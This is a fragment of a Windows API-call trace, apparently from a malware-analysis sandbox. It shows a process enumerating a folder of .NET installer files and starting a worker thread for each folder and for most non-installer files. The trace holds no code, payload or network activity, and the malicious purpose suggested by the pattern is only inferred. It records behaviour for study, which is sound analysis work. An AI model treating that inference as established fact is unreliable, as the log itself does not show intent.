	[0073.113] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1
	[0073.113] wcscmp (_String1="1053", _String2=".") returned 1
	[0073.113] wcscmp (_String1="1053", _String2="..") returned 1
	[0073.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70980
	[0073.113] wcscpy (in: _Dest=0x2d70980, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.113] wcscat (in: _Dest=0x2d70980, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.113] wcscat (in: _Dest=0x2d70980, _Source="1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0073.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0073.114] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1
	[0073.114] wcscmp (_String1="1055", _String2=".") returned 1
	[0073.114] wcscmp (_String1="1055", _String2="..") returned 1
	[0073.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70cc0
	[0073.114] wcscpy (in: _Dest=0x2d70cc0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.114] wcscat (in: _Dest=0x2d70cc0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.114] wcscat (in: _Dest=0x2d70cc0, _Source="1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0073.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0073.115] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1
	[0073.115] wcscmp (_String1="2052", _String2=".") returned 1
	[0073.115] wcscmp (_String1="2052", _String2="..") returned 1
	[0073.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70c00
	[0073.115] wcscpy (in: _Dest=0x2d70c00, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.115] wcscat (in: _Dest=0x2d70c00, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.115] wcscat (in: _Dest=0x2d70c00, _Source="2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0073.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0073.116] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1
	[0073.116] wcscmp (_String1="2070", _String2=".") returned 1
	[0073.116] wcscmp (_String1="2070", _String2="..") returned 1
	[0073.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70780
	[0073.116] wcscpy (in: _Dest=0x2d70780, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.116] wcscat (in: _Dest=0x2d70780, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.116] wcscat (in: _Dest=0x2d70780, _Source="2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0073.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0073.116] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1
	[0073.116] wcscmp (_String1="3076", _String2=".") returned 1
	[0073.116] wcscmp (_String1="3076", _String2="..") returned 1
	[0073.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70bc0
	[0073.116] wcscpy (in: _Dest=0x2d70bc0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.117] wcscat (in: _Dest=0x2d70bc0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.117] wcscat (in: _Dest=0x2d70bc0, _Source="3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0073.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0073.117] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0073.117] wcscmp (_String1="3082", _String2=".") returned 1
	[0073.117] wcscmp (_String1="3082", _String2="..") returned 1
	[0073.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70a00
	[0073.117] wcscpy (in: _Dest=0x2d70a00, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.117] wcscat (in: _Dest=0x2d70a00, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.117] wcscat (in: _Dest=0x2d70a00, _Source="3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0073.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0073.118] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0073.118] wcscmp (_String1="Client", _String2=".") returned 1
	[0073.118] wcscmp (_String1="Client", _String2="..") returned 1
	[0073.118] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73078
	[0073.118] wcscpy (in: _Dest=0x2d73078, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.118] wcscat (in: _Dest=0x2d73078, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.118] wcscat (in: _Dest=0x2d73078, _Source="Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0073.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0073.119] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0073.119] wcscmp (_String1="DHtmlHeader.html", _String2=".") returned 1
	[0073.119] wcscmp (_String1="DHtmlHeader.html", _String2="..") returned 1
	[0073.119] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d5b200
	[0073.119] wcscpy (in: _Dest=0x2d5b200, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.119] wcscat (in: _Dest=0x2d5b200, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.119] wcscat (in: _Dest=0x2d5b200, _Source="DHtmlHeader.html" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html"
	[0073.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5b200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0073.119] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0073.120] wcscmp (_String1="DisplayIcon.ico", _String2=".") returned 1
	[0073.120] wcscmp (_String1="DisplayIcon.ico", _String2="..") returned 1
	[0073.120] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1
	[0073.120] wcscmp (_String1="Extended", _String2=".") returned 1
	[0073.120] wcscmp (_String1="Extended", _String2="..") returned 1
	[0073.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d734f8
	[0073.120] wcscpy (in: _Dest=0x2d734f8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.120] wcscat (in: _Dest=0x2d734f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.120] wcscat (in: _Dest=0x2d734f8, _Source="Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0073.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d734f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0073.120] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0073.120] wcscmp (_String1="Graphics", _String2=".") returned 1
	[0073.120] wcscmp (_String1="Graphics", _String2="..") returned 1
	[0073.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73030
	[0073.120] wcscpy (in: _Dest=0x2d73030, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.120] wcscat (in: _Dest=0x2d73030, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.121] wcscat (in: _Dest=0x2d73030, _Source="Graphics" | out: _Dest="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0073.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0073.121] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0073.121] wcscmp (_String1="header.bmp", _String2=".") returned 1
	[0073.121] wcscmp (_String1="header.bmp", _String2="..") returned 1
	[0073.121] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d64948
	[0073.121] wcscpy (in: _Dest=0x2d64948, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.121] wcscat (in: _Dest=0x2d64948, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.121] wcscat (in: _Dest=0x2d64948, _Source="header.bmp" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp"
	[0073.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d64948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0073.122] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0073.122] wcscmp (_String1="netfx_Core.mzz", _String2=".") returned 1
	[0073.122] wcscmp (_String1="netfx_Core.mzz", _String2="..") returned 1
	[0073.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d5a460
	[0073.122] wcscpy (in: _Dest=0x2d5a460, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.122] wcscat (in: _Dest=0x2d5a460, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.122] wcscat (in: _Dest=0x2d5a460, _Source="netfx_Core.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz"
	[0073.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5a460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0073.123] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0073.123] wcscmp (_String1="netfx_Core_x64.msi", _String2=".") returned 1
	[0073.123] wcscmp (_String1="netfx_Core_x64.msi", _String2="..") returned 1
	[0073.123] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0073.123] wcscmp (_String1="netfx_Core_x86.msi", _String2=".") returned 1
	[0073.123] wcscmp (_String1="netfx_Core_x86.msi", _String2="..") returned 1
	[0073.123] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0073.123] wcscmp (_String1="netfx_Extended.mzz", _String2=".") returned 1
	[0073.123] wcscmp (_String1="netfx_Extended.mzz", _String2="..") returned 1
	[0073.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77780
	[0073.123] wcscpy (in: _Dest=0x2d77780, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.123] wcscat (in: _Dest=0x2d77780, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.123] wcscat (in: _Dest=0x2d77780, _Source="netfx_Extended.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz"
	[0073.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d77780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0073.124] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0073.124] wcscmp (_String1="netfx_Extended_x64.msi", _String2=".") returned 1
	[0073.124] wcscmp (_String1="netfx_Extended_x64.msi", _String2="..") returned 1
	[0073.124] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0073.124] wcscmp (_String1="netfx_Extended_x86.msi", _String2=".") returned 1
	[0073.124] wcscmp (_String1="netfx_Extended_x86.msi", _String2="..") returned 1
	[0073.124] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0073.125] wcscmp (_String1="ParameterInfo.xml", _String2=".") returned 1
	[0073.125] wcscmp (_String1="ParameterInfo.xml", _String2="..") returned 1
	[0073.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d549b8
	[0073.125] wcscpy (in: _Dest=0x2d549b8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.125] wcscat (in: _Dest=0x2d549b8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.125] wcscat (in: _Dest=0x2d549b8, _Source="ParameterInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml"
	[0073.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d549b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0073.125] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0073.125] wcscmp (_String1="RGB9RAST_x64.msi", _String2=".") returned 1
	[0073.125] wcscmp (_String1="RGB9RAST_x64.msi", _String2="..") returned 1
	[0073.126] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0073.126] wcscmp (_String1="RGB9Rast_x86.msi", _String2=".") returned 1
	[0073.126] wcscmp (_String1="RGB9Rast_x86.msi", _String2="..") returned 1
	[0073.126] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0073.126] wcscmp (_String1="Setup.exe", _String2=".") returned 1
	[0073.126] wcscmp (_String1="Setup.exe", _String2="..") returned 1
